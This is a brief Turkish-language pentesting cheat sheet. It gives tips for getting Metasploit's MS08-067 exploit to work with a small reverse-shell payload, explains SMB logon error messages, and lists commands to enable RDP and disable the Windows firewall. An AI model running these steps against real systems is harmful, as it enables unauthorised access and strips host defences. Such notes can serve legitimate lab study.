Notes*

Eğer ms08-67 exploiti var olmasına rağmen exploit edilemiyorsa veya encoding hatası alınırsa payloadı değiştir. Daha küçük payloadlar kullan. windows/shell_reverse_tcp gibi. meterpreter kullanma. payload büyük olursa metasploit "Exploit failed: No encoders encoded the buffer successfully." hatasını verir.

**Eğer administrator hesabı pasif ise STATUS_USER_SESSION_DELETED hatası verilir

Enable RDP

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

User Yoksa:

ERROR: Failed to open connection - NT_STATUS_LOGON_FAILURE

User ve ama yetki yoksa ERROR:

Cannot connect to svcctl pipe. NT_STATUS_ACCESS_DENIED.

exploitin başarılı olması için IPC$ paylaşımına erişmesi lazım.

"You just need access to the IPC$ share, not a named pipe."

Disable Firewall

XP:
netsh firewall set opmode mode=DISABLE

New Windows Ver:
netsh advfirewall set allprofiles state off
